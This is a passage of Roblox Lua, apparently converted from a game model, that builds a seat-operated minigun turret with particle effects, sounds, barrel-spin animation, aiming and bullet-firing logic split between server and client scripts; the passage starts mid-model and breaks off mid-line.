Part1054.Position = Vector3.new(208.899887, 4.89999008, -75.5000153) Part1054.Rotation = Vector3.new(0, 90, 0) Part1054.Transparency = 1 Part1054.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003) Part1054.Anchored = true Part1054.CanCollide = false ParticleEmitter1055.Parent = Part1054 ParticleEmitter1055.Speed = NumberRange.new(0, 50) ParticleEmitter1055.Rotation = NumberRange.new(-180, 180) ParticleEmitter1055.Color = ColorSequence.new(Color3.new(0.933333, 0.913725, 0.67451),Color3.new(1, 0.666667, 0),Color3.new(1, 0.666667, 0)) ParticleEmitter1055.Enabled = false ParticleEmitter1055.LightEmission = 1 ParticleEmitter1055.Size = NumberSequence.new(0,2.8205127716064,0) ParticleEmitter1055.Lifetime = NumberRange.new(0.20000000298023, 0.40000000596046) ParticleEmitter1055.Rate = 100 ParticleEmitter1055.RotSpeed = NumberRange.new(-60, 60) ParticleEmitter1055.VelocityInheritance = 0.5 Sound1056.Name = "bam" Sound1056.Parent = Part1054 Sound1056.EmitterSize = 50 Sound1056.MinDistance = 50 Sound1056.Pitch = 2 Sound1056.PlaybackSpeed = 2 Sound1056.SoundId = "rbxassetid://151299298" Sound1056.Volume = 1 ParticleEmitter1057.Name = "smoke" ParticleEmitter1057.Parent = Part1054 ParticleEmitter1057.Speed = NumberRange.new(3, 3) ParticleEmitter1057.Color = ColorSequence.new(Color3.new(0.568627, 0.568627, 0.568627),Color3.new(0.568627, 0.568627, 0.568627)) ParticleEmitter1057.Enabled = false ParticleEmitter1057.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter1057.Transparency = NumberSequence.new(0.35465115308762,1) ParticleEmitter1057.Size = NumberSequence.new(0.46153843402863,0.56410253047943,2.4102563858032) ParticleEmitter1057.Acceleration = Vector3.new(0, 10, 0) ParticleEmitter1057.Lifetime = NumberRange.new(1, 1) ParticleEmitter1057.RotSpeed = NumberRange.new(0, 20) ParticleEmitter1057.SpreadAngle = Vector2.new(20, 20) ParticleEmitter1057.VelocitySpread = 20 Part1058.Name = "effect" Part1058.Parent = Model1037 Part1058.CFrame = CFrame.new(210.299896, 4.89999008, -75.5000153, 0, -1, 0, 0, 0, 1, -1, 0, 0) Part1058.Orientation = Vector3.new(-90, 90, 0) Part1058.Position = Vector3.new(210.299896, 4.89999008, -75.5000153) Part1058.Rotation = Vector3.new(-90, 0, 90) Part1058.Transparency = 1 Part1058.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003) Part1058.Anchored = true Part1058.CanCollide = false ParticleEmitter1059.Parent = Part1058 ParticleEmitter1059.Speed = NumberRange.new(0, 50) ParticleEmitter1059.Rotation = NumberRange.new(-180, 180) ParticleEmitter1059.Color = ColorSequence.new(Color3.new(0.933333, 0.913725, 0.67451),Color3.new(1, 0.666667, 0),Color3.new(1, 0.666667, 0)) ParticleEmitter1059.Enabled = false ParticleEmitter1059.LightEmission = 1 ParticleEmitter1059.ZOffset = 1 ParticleEmitter1059.Size = NumberSequence.new(0,2.8205127716064,0) ParticleEmitter1059.Lifetime = NumberRange.new(0.20000000298023, 0.40000000596046) ParticleEmitter1059.LockedToPart = true ParticleEmitter1059.Rate = 200 ParticleEmitter1059.RotSpeed = NumberRange.new(-60, 60) ParticleEmitter1059.VelocityInheritance = 0.5 Sound1060.Name = "bam" Sound1060.Parent = Part1058 Sound1060.Looped = true Sound1060.SoundId = "rbxassetid://172430819" Sound1060.Volume = 1 ParticleEmitter1061.Name = "smoke" ParticleEmitter1061.Parent = Part1058 ParticleEmitter1061.Speed = NumberRange.new(1, 5) ParticleEmitter1061.Rotation = NumberRange.new(-100, 100) ParticleEmitter1061.Color = ColorSequence.new(Color3.new(0.568627, 0.568627, 0.568627),Color3.new(0.568627, 0.568627, 0.568627)) ParticleEmitter1061.Enabled = false ParticleEmitter1061.Texture = "rbxasset://textures/particles/smoke_main.dds" ParticleEmitter1061.Transparency = NumberSequence.new(1,0.93023252487183,0.94767439365387,1) ParticleEmitter1061.Size = NumberSequence.new(1.2371134757996,1.1340206861496,2.4102563858032) ParticleEmitter1061.Acceleration = Vector3.new(0, 10, 0) ParticleEmitter1061.Lifetime = NumberRange.new(0.5, 1) ParticleEmitter1061.RotSpeed = NumberRange.new(0, 20) ParticleEmitter1061.SpreadAngle = Vector2.new(20, 20) ParticleEmitter1061.VelocitySpread = 20 Sound1062.Name = "dend" Sound1062.Parent = Part1058 Sound1062.SoundId = "rbxassetid://295843191" Sound1062.Volume = 1 PitchShiftSoundEffect1063.Parent = Sound1062 PitchShiftSoundEffect1063.Octave = 1 Sound1064.Name = "bstart" Sound1064.Parent = Part1058 Sound1064.Pitch = 2 Sound1064.PlaybackSpeed = 2 Sound1064.SoundId = "rbxassetid://698823472" Sound1064.Volume = 1 PitchShiftSoundEffect1065.Parent = Sound1064 PitchShiftSoundEffect1065.Octave = 0.5 Part1066.Parent = Model1037 Part1066.CFrame = CFrame.new(219.899994, 4.29485893, -77.1000443, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1066.Orientation = Vector3.new(-90, -90, 0) Part1066.Position = Vector3.new(219.899994, 4.29485893, -77.1000443) Part1066.Rotation = Vector3.new(-90, 0, -90) Part1066.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1066.Size = Vector3.new(1.79999995, 0.199999973, 2) Part1066.Anchored = true Part1066.BottomSurface = Enum.SurfaceType.Smooth Part1066.BrickColor = BrickColor.new("Sand violet metallic") Part1066.CanCollide = false Part1066.Material = Enum.Material.Metal Part1066.TopSurface = Enum.SurfaceType.Weld Part1066.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1067.Parent = Part1066 Part1068.Parent = Model1037 Part1068.CFrame = CFrame.new(225.625946, 5.29657888, -74.9000092, 0.2588211, 0.965925336, 0, 0.965925336, -0.2588211, 0, 0, 0, -1) Part1068.Orientation = Vector3.new(0, 180, 105) Part1068.Position = Vector3.new(225.625946, 5.29657888, -74.9000092) Part1068.Rotation = Vector3.new(-180, 0, -75) Part1068.Size = Vector3.new(2.5999999, 0.400000006, 1.79999983) Part1068.Anchored = true Part1068.BottomSurface = Enum.SurfaceType.Smooth Part1068.CanCollide = false Part1068.Material = Enum.Material.DiamondPlate Part1068.TopSurface = Enum.SurfaceType.Smooth Part1069.Parent = Model1037 Part1069.CFrame = CFrame.new(222.300034, 6.29998302, -77.1000443, -1, 0, 0, 0, 0.965925097, -0.258822024, 0, -0.258822024, -0.965925097) Part1069.Orientation = Vector3.new(15, 180, 0) Part1069.Position = Vector3.new(222.300034, 6.29998302, -77.1000443) Part1069.Rotation = Vector3.new(165, 0, -180) Part1069.Color = Color3.new(0.458824, 0.458824, 0.458824) Part1069.Size = Vector3.new(1.39999986, 0.600000024, 0.600000024) Part1069.Anchored = true Part1069.BottomSurface = Enum.SurfaceType.Smooth Part1069.BrickColor = BrickColor.new("Dark grey") Part1069.CanCollide = false Part1069.Material = Enum.Material.Metal Part1069.TopSurface = Enum.SurfaceType.Smooth Part1069.brickColor = BrickColor.new("Dark grey") Part1070.Parent = Model1037 Part1070.CFrame = CFrame.new(223.100021, 4.64997721, -75.5500336, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1070.Orientation = Vector3.new(-90, -90, 0) Part1070.Position = Vector3.new(223.100021, 4.64997721, -75.5500336) Part1070.Rotation = Vector3.new(-90, 0, -90) Part1070.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1070.Size = Vector3.new(1.79999995, 0.799999952, 2.20000005) Part1070.Anchored = true Part1070.BottomSurface = Enum.SurfaceType.Weld Part1070.BrickColor = BrickColor.new("Sand violet metallic") Part1070.CanCollide = false Part1070.Material = Enum.Material.Metal Part1070.TopSurface = Enum.SurfaceType.Smooth Part1070.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1071.Parent = Part1070 Part1072.Parent = Model1037 Part1072.CFrame = CFrame.new(222.207199, 5.69998121, -73.9499817, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1072.Orientation = Vector3.new(0, 180, 0) Part1072.Position = Vector3.new(222.207199, 5.69998121, -73.9499817) Part1072.Rotation = Vector3.new(-180, 0, -180) Part1072.Color = Color3.new(0.458824, 0.458824, 0.458824) Part1072.Size = Vector3.new(1.20000005, 0.200000033, 0.5) Part1072.Anchored = true Part1072.BottomSurface = Enum.SurfaceType.Smooth Part1072.BrickColor = BrickColor.new("Dark grey") Part1072.CanCollide = false Part1072.Material = Enum.Material.Metal Part1072.TopSurface = Enum.SurfaceType.Smooth Part1072.brickColor = BrickColor.new("Dark grey") Part1073.Parent = Model1037 Part1073.CFrame = CFrame.new(225.900085, 4.59998417, -74.8000031, -0.965926349, 0.258817077, 0, 0.258817077, 0.965926349, 0, 0, 0, -1) Part1073.Orientation = Vector3.new(0, 180, 15) Part1073.Position = Vector3.new(225.900085, 4.59998417, -74.8000031) Part1073.Rotation = Vector3.new(-180, 0, -165) Part1073.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1073.Size = Vector3.new(0.600000024, 1.20000005, 2.00000024) Part1073.Anchored = true Part1073.BottomSurface = Enum.SurfaceType.Smooth Part1073.BrickColor = BrickColor.new("Sand violet metallic") Part1073.CanCollide = false Part1073.Material = Enum.Material.Metal Part1073.TopSurface = Enum.SurfaceType.Smooth Part1073.brickColor = BrickColor.new("Sand violet metallic") Part1074.Parent = Model1037 Part1074.CFrame = CFrame.new(224.200043, 3.99999499, -74.2000122, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1074.Orientation = Vector3.new(0, 180, 0) Part1074.Position = Vector3.new(224.200043, 3.99999499, -74.2000122) Part1074.Rotation = Vector3.new(-180, 0, -180) Part1074.Size = Vector3.new(2.39999986, 0.400000006, 1.20000005) Part1074.Anchored = true Part1074.BottomSurface = Enum.SurfaceType.Smooth Part1074.CanCollide = false Part1074.Material = Enum.Material.DiamondPlate Part1074.TopSurface = Enum.SurfaceType.Smooth Part1075.Parent = Model1037 Part1075.CFrame = CFrame.new(224.200043, 4.39998722, -74.9000092, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1075.Orientation = Vector3.new(0, 180, 0) Part1075.Position = Vector3.new(224.200043, 4.39998722, -74.9000092) Part1075.Rotation = Vector3.new(-180, 0, -180) Part1075.Color = Color3.new(0.105882, 0.164706, 0.207843) Part1075.Size = Vector3.new(1.99999976, 0.400000006, 2.19999981) Part1075.Anchored = true Part1075.BottomSurface = Enum.SurfaceType.Smooth Part1075.BrickColor = BrickColor.new("Black") Part1075.CanCollide = false Part1075.TopSurface = Enum.SurfaceType.Smooth Part1075.brickColor = BrickColor.new("Black") Part1076.Parent = Model1037 Part1076.CFrame = CFrame.new(224.200043, 3.99999499, -75.1000214, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1076.Orientation = Vector3.new(0, 180, 0) Part1076.Position = Vector3.new(224.200043, 3.99999499, -75.1000214) Part1076.Rotation = Vector3.new(-180, 0, -180) Part1076.Size = Vector3.new(2.39999986, 0.400000006, 1.39999986) Part1076.Anchored = true Part1076.BottomSurface = Enum.SurfaceType.Smooth Part1076.CanCollide = false Part1076.Material = Enum.Material.DiamondPlate Part1076.TopSurface = Enum.SurfaceType.Smooth Part1077.Parent = Model1037 Part1077.CFrame = CFrame.new(222.000015, 6.39485693, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1077.Orientation = Vector3.new(-90, -90, 0) Part1077.Position = Vector3.new(222.000015, 6.39485693, -76.5000305) Part1077.Rotation = Vector3.new(-90, 0, -90) Part1077.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1077.Size = Vector3.new(1.80000007, 1.60000002, 1.39999986) Part1077.Anchored = true Part1077.BottomSurface = Enum.SurfaceType.Smooth Part1077.BrickColor = BrickColor.new("Sand violet metallic") Part1077.CanCollide = false Part1077.Material = Enum.Material.Metal Part1077.TopSurface = Enum.SurfaceType.Weld Part1077.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1078.Parent = Part1077 Part1079.Parent = Model1037 Part1079.CFrame = CFrame.new(221.700043, 5.49998522, -74.2000122, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part1079.Orientation = Vector3.new(-90, -180, 0) Part1079.Position = Vector3.new(221.700043, 5.49998522, -74.2000122) Part1079.Rotation = Vector3.new(-90, 0, -180) Part1079.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1079.Size = Vector3.new(1.79999995, 0.799999952, 2.20000005) Part1079.Anchored = true Part1079.BottomSurface = Enum.SurfaceType.Weld Part1079.BrickColor = BrickColor.new("Sand violet metallic") Part1079.CanCollide = false Part1079.Material = Enum.Material.Metal Part1079.TopSurface = Enum.SurfaceType.Smooth Part1079.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1080.Parent = Part1079 Part1081.Parent = Model1037 Part1081.CFrame = CFrame.new(218.899994, 4.89998722, -75.5000153, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1081.Orientation = Vector3.new(-90, -90, 0) Part1081.Position = Vector3.new(218.899994, 4.89998722, -75.5000153) Part1081.Rotation = Vector3.new(-90, 0, -90) Part1081.Color = Color3.new(0.458824, 0.458824, 0.458824) Part1081.Size = Vector3.new(1.79999995, 1.39999795, 1.80000019) Part1081.Anchored = true Part1081.BottomSurface = Enum.SurfaceType.Smooth Part1081.BrickColor = BrickColor.new("Dark grey") Part1081.CanCollide = false Part1081.Material = Enum.Material.Metal Part1081.TopSurface = Enum.SurfaceType.Weld Part1081.brickColor = BrickColor.new("Dark grey") CylinderMesh1082.Parent = Part1081 Weld1083.Parent = Part1081 Weld1083.C0 = CFrame.new(0, 0.699998975, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Weld1083.C1 = CFrame.new(1.70002174, 2.86102295e-06, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Weld1083.Part0 = Part1081 Weld1083.Part1 = Part1092 Weld1083.part1 = Part1092 Part1084.Parent = Model1037 Part1084.CFrame = CFrame.new(218.999985, 4.89998388, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1084.Orientation = Vector3.new(0, 180, 0) Part1084.Position = Vector3.new(218.999985, 4.89998388, -75.5000153) Part1084.Rotation = Vector3.new(-180, 0, -180) Part1084.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1084.Size = Vector3.new(1.20000005, 1, 2.60000038) Part1084.Anchored = true Part1084.BottomSurface = Enum.SurfaceType.Smooth Part1084.BrickColor = BrickColor.new("Sand violet metallic") Part1084.CanCollide = false Part1084.Material = Enum.Material.Metal Part1084.TopSurface = Enum.SurfaceType.Smooth Part1084.brickColor = BrickColor.new("Sand violet metallic") Part1085.Parent = Model1037 Part1085.CFrame = CFrame.new(221.700043, 4.0999918, -77.3000336, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part1085.Orientation = Vector3.new(-90, -180, 0) Part1085.Position = Vector3.new(221.700043, 4.0999918, -77.3000336) Part1085.Rotation = Vector3.new(-90, 0, -180) Part1085.Size = Vector3.new(1.39999998, 1.80000007, 1.39999998) Part1085.Anchored = true Part1085.BottomSurface = Enum.SurfaceType.Weld Part1085.CanCollide = false Part1085.Material = Enum.Material.Metal Part1085.TopSurface = Enum.SurfaceType.Smooth CylinderMesh1086.Parent = Part1085 Part1087.Parent = Model1037 Part1087.CFrame = CFrame.new(221.007187, 5.09998417, -74.1000061, -0.866027832, -0.499995857, 0, -0.499995887, 0.866027832, 0, 0, 0, -1) Part1087.Orientation = Vector3.new(0, 180, -30) Part1087.Position = Vector3.new(221.007187, 5.09998417, -74.1000061) Part1087.Rotation = Vector3.new(-180, 0, 150) Part1087.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1087.Size = Vector3.new(2.80000043, 1, 0.400000036) Part1087.Anchored = true Part1087.BottomSurface = Enum.SurfaceType.Smooth Part1087.BrickColor = BrickColor.new("Sand violet metallic") Part1087.CanCollide = false Part1087.Material = Enum.Material.Metal Part1087.TopSurface = Enum.SurfaceType.Smooth Part1087.brickColor = BrickColor.new("Sand violet metallic") Part1088.Parent = Model1037 Part1088.CFrame = CFrame.new(221.700043, 5.49998522, -74.2999878, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part1088.Orientation = Vector3.new(-90, -180, 0) Part1088.Position = Vector3.new(221.700043, 5.49998522, -74.2999878) Part1088.Rotation = Vector3.new(-90, 0, -180) Part1088.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1088.Size = Vector3.new(2.20000005, 0.599999964, 2.60000014) Part1088.Anchored = true Part1088.BottomSurface = Enum.SurfaceType.Weld Part1088.BrickColor = BrickColor.new("Sand violet metallic") Part1088.CanCollide = false Part1088.Material = Enum.Material.Metal Part1088.TopSurface = Enum.SurfaceType.Smooth Part1088.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1089.Parent = Part1088 Part1090.Parent = Model1037 Part1090.CFrame = CFrame.new(221.700043, 4.0999918, -73.6999817, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part1090.Orientation = Vector3.new(-90, -180, 0) Part1090.Position = Vector3.new(221.700043, 4.0999918, -73.6999817) Part1090.Rotation = Vector3.new(-90, 0, -180) Part1090.Size = Vector3.new(1.39999998, 1.80000007, 1.39999998) Part1090.Anchored = true Part1090.BottomSurface = Enum.SurfaceType.Weld Part1090.CanCollide = false Part1090.Material = Enum.Material.Metal Part1090.TopSurface = Enum.SurfaceType.Smooth CylinderMesh1091.Parent = Part1090 Part1092.Parent = Model1037 Part1092.CFrame = CFrame.new(221.300018, 4.89998388, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1092.Orientation = Vector3.new(0, 180, 0) Part1092.Position = Vector3.new(221.300018, 4.89998388, -75.5000153) Part1092.Rotation = Vector3.new(-180, 0, -180) Part1092.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1092.Size = Vector3.new(3.40000081, 1.80000019, 2.60000038) Part1092.Anchored = true Part1092.BottomSurface = Enum.SurfaceType.Smooth Part1092.BrickColor = BrickColor.new("Sand violet metallic") Part1092.CanCollide = false Part1092.Material = Enum.Material.Metal Part1092.TopSurface = Enum.SurfaceType.Smooth Part1092.brickColor = BrickColor.new("Sand violet metallic") Part1093.Parent = Model1037 Part1093.CFrame = CFrame.new(224.600067, 4.59998417, -76.1000443, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part1093.Orientation = Vector3.new(0, 180, 0) Part1093.Position = Vector3.new(224.600067, 4.59998417, -76.1000443) Part1093.Rotation = Vector3.new(-180, 0, -180) Part1093.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1093.Size = Vector3.new(3.20000029, 1.20000005, 0.600000024) Part1093.Anchored = true Part1093.BottomSurface = Enum.SurfaceType.Smooth Part1093.BrickColor = BrickColor.new("Sand violet metallic") Part1093.CanCollide = false Part1093.Material = Enum.Material.Metal Part1093.TopSurface = Enum.SurfaceType.Smooth Part1093.brickColor = BrickColor.new("Sand violet metallic") Part1094.Name = "base" Part1094.Parent = Model1037 Part1094.CFrame = CFrame.new(220.700012, 4.0999918, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1094.Orientation = Vector3.new(0, 90, 0) Part1094.Position = Vector3.new(220.700012, 4.0999918, -75.5000153) Part1094.Rotation = Vector3.new(0, 90, 0) Part1094.Transparency = 1 Part1094.Size = Vector3.new(1.39999998, 1.80000377, 1.39999998) Part1094.Anchored = true Part1094.BottomSurface = Enum.SurfaceType.Weld Part1094.CanCollide = false Part1094.Material = Enum.Material.Metal Part1094.TopSurface = Enum.SurfaceType.Smooth CylinderMesh1095.Parent = Part1094 UnionOperation1096.Parent = Model1037 UnionOperation1096.CFrame = CFrame.new(223.200043, 5.34998322, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0) UnionOperation1096.Orientation = Vector3.new(-90, -90, 0) UnionOperation1096.Position = Vector3.new(223.200043, 5.34998322, -76.5000305) UnionOperation1096.Rotation = Vector3.new(-90, 0, -90) UnionOperation1096.Color = Color3.new(0.458824, 0.458824, 0.458824) UnionOperation1096.Size = Vector3.new(0.600003004, 0.400006056, 2.70000052) UnionOperation1096.Anchored = true UnionOperation1096.BrickColor = BrickColor.new("Dark grey") UnionOperation1096.CanCollide = false UnionOperation1096.Material = Enum.Material.Metal UnionOperation1096.brickColor = BrickColor.new("Dark grey") UnionOperation1096.UsePartColor = true UnionOperation1097.Name = "AmmoBelt" UnionOperation1097.Parent = Model1037 UnionOperation1097.CFrame = CFrame.new(222.300018, 5.79998302, -77.1000443, 0, 1, 0, 0, 0, 1, 1, 0, 0) UnionOperation1097.Orientation = Vector3.new(-90, -90, 0) UnionOperation1097.Position = Vector3.new(222.300018, 5.79998302, -77.1000443) UnionOperation1097.Rotation = Vector3.new(-90, 0, -90) UnionOperation1097.Color = Color3.new(0.937255, 0.721569, 0.219608) UnionOperation1097.Size = Vector3.new(1.19999421, 1.4000001, 2.00000024) UnionOperation1097.Anchored = true UnionOperation1097.BrickColor = BrickColor.new("Gold") UnionOperation1097.CanCollide = false UnionOperation1097.Material = Enum.Material.Metal UnionOperation1097.brickColor = BrickColor.new("Gold") Seat1098.Parent = Model1037 Seat1098.CFrame = CFrame.new(224.900055, 4.19998789, -74.9000244, 0, 0, 1, 0, 1, -0, -1, 0, 0) Seat1098.Orientation = Vector3.new(0, 90, 0) Seat1098.Position = Vector3.new(224.900055, 4.19998789, -74.9000244) Seat1098.Rotation = Vector3.new(0, 90, 0) Seat1098.Color = Color3.new(0.105882, 0.164706, 0.207843) Seat1098.Transparency = 1 Seat1098.Size = Vector3.new(2.20000005, 0.399999976, 1) Seat1098.BrickColor = BrickColor.new("Black") Seat1098.CanCollide = false Seat1098.brickColor = BrickColor.new("Black") Script1099.Name = "FOREVERWELD" Script1099.Parent = Seat1098 table.insert(cors,sandbox(Script1099,function() local weld = Instance.new("Weld") weld.Part0 = script.Parent weld.Part1 = script.Parent.Parent["base"] weld.C0 = script.Parent.CFrame:inverse() weld.C1 = script.Parent.Parent["base"] .CFrame:inverse() weld.Parent = script.Parent local a = script.Parent.Weld:clone() local co=script.Parent.Weld.C0 local c1 = script.Parent.Weld.C1 local p1 = script.Parent.Weld.Part1 function poo(part) if part.Name =="Weld" then local b =a:clone() b.Parent=script.Parent b.C0 = co b.C1 =c1 b.Part1 = p1 end end script.Parent.ChildRemoved:connect(poo) end)) Script1100.Parent = Seat1098 table.insert(cors,sandbox(Script1100,function() occupier = nil function powers() if script.Parent.Occupant~= nil then local a = script.Parent.Occupant local b = game.Players:GetPlayerFromCharacter(a.Parent) if b~= nil then if a.Parent:findFirstChild("control") == nil then g=script.control:Clone() g.Value.Value=script.Parent.Parent.Parent g.Parent=b.Character g.Disabled=false occupier = b end end end end script.Parent.Changed:connect(powers) wait(0.2) local TARGET_RADIUS = 5 local MAX_SPEED = 1750 local MAX_TORQUE = Vector3.new(4e6, 4e6, 0) local MAX_THRUST = 1750 local THRUST_P = 500 local THRUST_D = 500 md = false local running = false local gun=script.Value.Value local SPAWN = gun.body:GetPrimaryPartCFrame() local aimpos = Vector3.new(0,0,0) local canfire = true local round = 1 function RAND(Min, Max, Accuracy) local Inverse = 1 / (Accuracy or 1) return (math.random(Min * Inverse, Max * Inverse) / Inverse) end function fire(mousepos) local spawnPosition local part=gun.gun:findFirstChild("gunpart") spawnPosition = part.Position + (part.CFrame.lookVector * 5) for i = 1,2 do local a = Instance.new("Part") game:GetService("Debris"):AddItem(a,1) local spread = 10 local antispread = 250 local spreada = Vector3.new(math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread) a.Size = Vector3.new(0.2,0.2,5) a.CFrame = CFrame.new(spawnPosition, mousepos) local direction = ((((mousepos - a.Position))).unit)+spreada local boi = a.Position + (direction * 100000000) a.CFrame = CFrame.new(spawnPosition,boi) a.BrickColor=BrickColor.new("Bright yellow") a.Material = "Neon" a.Name = "Bullet" local b=script.bullet:Clone() b.Parent=a b.Value.Value = part b.Disabled =false --game:GetService("Debris"):AddItem(a,3) local rocketPropulsion = Instance.new('RocketPropulsion', a) rocketPropulsion.CartoonFactor = 1 rocketPropulsion.TargetRadius = TARGET_RADIUS rocketPropulsion.MaxSpeed = MAX_SPEED rocketPropulsion.MaxTorque = MAX_TORQUE rocketPropulsion.MaxThrust = MAX_THRUST rocketPropulsion.ThrustP = THRUST_P rocketPropulsion.ThrustD = THRUST_D rocketPropulsion.TargetOffset = a.Position + (direction * 100000000) rocketPropulsion:Fire() a.CanCollide = false a.Parent=game.Workspace script.bulletpropaganda:FireClient(occupier,a,spawnPosition) end local effecter = gun.gun:findFirstChild("effect") spawn(function() for i = 1, 10 do effecter.ParticleEmitter:Emit(5) wait() end end) spawn(function() for i = 1, 20 do effecter.smoke:Emit(1) wait(0.1) end end) gun.gun.eject.a.bullets:Emit(2) end function barrel() if round == 1 then gun.gun.Barrel1.Transparency=0 gun.gun.Barrel2.Transparency=1 gun.gun.Barrel3.Transparency=1 end if round == 2 then gun.gun.Barrel1.Transparency=1 gun.gun.Barrel2.Transparency=0 gun.gun.Barrel3.Transparency=1 end if round == 3 then gun.gun.Barrel1.Transparency=1 gun.gun.Barrel2.Transparency=1 gun.gun.Barrel3.Transparency=0 end if round ~=3 then round = round+1 else round = 1 end end function poo() gun.gun.effect.bam:Stop() script:remove() end function script.mu.OnServerInvoke(player,mousepos) if md == false then return end md = false gun.gun.effect.bstart:Stop() spawn(function() for i = 1, 25 do if i > 0 and i < 5 then for i = 1,1 do wait() end end if i > 4 and i < 10 then for i = 1,2 do wait() end end if i > 10 and i < 15 then for i = 1,3 do wait() end end if i > 14 and i < 20 then for i = 1,4 do wait() end end if i > 19 and i < 26 then for i = 1,6 do wait() end end if md == true then break end barrel() end end) gun.gun.effect.bam:Stop() gun.gun.effect.dend:Play() gun.gun.effect.dend.TimePosition=0.1 end local newpos = Vector3.new(0,0,0) function script.infostream.OnServerInvoke(player,mousepos) newpos = mousepos end function script.md.OnServerInvoke(player,mousepos) md = true gun.gun.effect.bstart:Play() for i = 1, 10 do if i > 0 and i < 5 then for i = 1,2 do wait() end end if i > 4 and i < 11 then for i = 1,1 do wait() end end if md == false then break end barrel() end if md == false then return end gun.gun.effect.bam:Play() spawn(function() repeat wait() barrel() fire(newpos) until md == false end) end function script.aim.OnServerInvoke(player,mousepos) aimpos = mousepos if (aimpos-gun.base.Position).magnitude>3 then local c = aimpos local x = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).x local y = (SPAWN*CFrame.new(0, 0, -100000)).y local z = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).z A = Vector3.new(x, y, z ) if c then gun.gun:SetPrimaryPartCFrame( CFrame.new(gun.body:GetPrimaryPartCFrame().p, c) ) gun.body:SetPrimaryPartCFrame( CFrame.new( SPAWN.p, A ) ) else gun:SetPrimaryPartCFrame(gun.body:GetPrimaryPartCFrame()) gun.body:SetPrimaryPartCFrame( CFrame.new( SPAWN.p, A ) ) end end end end)) LocalScript1101.Name = "control" LocalScript1101.Parent = Script1100 table.insert(cors,sandbox(LocalScript1101,function() wait(0.2) local TARGET_RADIUS = 5 local MAX_SPEED = 1750 local MAX_TORQUE = Vector3.new(4e6, 4e6, 0) local MAX_THRUST = 1750 local THRUST_P = 500 local THRUST_D = 500 md = false local mouse = game.Players.LocalPlayer:GetMouse() mouse.TargetFilter = script.Value.Value local running = false local gun=script.Value.Value local SPAWN = gun.body:GetPrimaryPartCFrame() local aimpos = Vector3.new(0,0,0) rs=game:GetService("RunService").RenderStepped local canfire = true local round = 1 function RAND(Min, Max, Accuracy) local Inverse = 1 / (Accuracy or 1) return (math.random(Min * Inverse, Max * Inverse) / Inverse) end function propaganda(boolet,spawnPosition) boolet.Transparency = 1 local spawnPosition local part=gun.gun:findFirstChild("gunpart") spawnPosition = part.Position + (part.CFrame.lookVector * 5) local a = Instance.new("Part") game:GetService("Debris"):AddItem(a,1) local spread = 10 local antispread = 250 local spreada = Vector3.new(math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread) a.Size = Vector3.new(0.2,0.2,5) a.CFrame = CFrame.new(spawnPosition, mouse.hit.p) local direction = ((((mouse.Hit.p - a.Position))).unit)+spreada local boi = a.Position + (direction * 100000000) a.CFrame = CFrame.new(spawnPosition,boi) a.BrickColor=BrickColor.new("Bright yellow") a.Material = "Neon" a.Name = "Bullet" local b=script.bullet:Clone() b.Parent=a b.Value.Value = part b.Disabled =false --game:GetService("Debris"):AddItem(a,3) local rocketPropulsion = Instance.new('RocketPropulsion', a) rocketPropulsion.CartoonFactor = 1 rocketPropulsion.TargetRadius = TARGET_RADIUS rocketPropulsion.MaxSpeed = MAX_SPEED rocketPropulsion.MaxTorque = MAX_TORQUE rocketPropulsion.MaxThrust = MAX_THRUST rocketPropulsion.ThrustP = THRUST_P rocketPropulsion.ThrustD = THRUST_D rocketPropulsion.TargetOffset = a.Position + (direction * 100000000) rocketPropulsion:Fire() a.CanCollide = false a.Parent=game.Workspace.CurrentCamera game:GetService("Debris"):AddItem(a,7) local b=script.bullet:Clone() b.Parent=a b.Disabled=false end gun.gun.Seat.Script.bulletpropaganda.OnClientEvent:connect(propaganda) function barrel() if round == 1 then gun.gun.Barrel1.Transparency=0 gun.gun.Barrel2.Transparency=1 gun.gun.Barrel3.Transparency=1 end if round == 2 then gun.gun.Barrel1.Transparency=1 gun.gun.Barrel2.Transparency=0 gun.gun.Barrel3.Transparency=1 end if round == 3 then gun.gun.Barrel1.Transparency=1 gun.gun.Barrel2.Transparency=1 gun.gun.Barrel3.Transparency=0 end if round ~=3 then round = round+1 else round = 1 end end function poo() gun.gun.Seat.Script.mu:InvokeServer(mouse.hit.p) mouse.TargetFilter 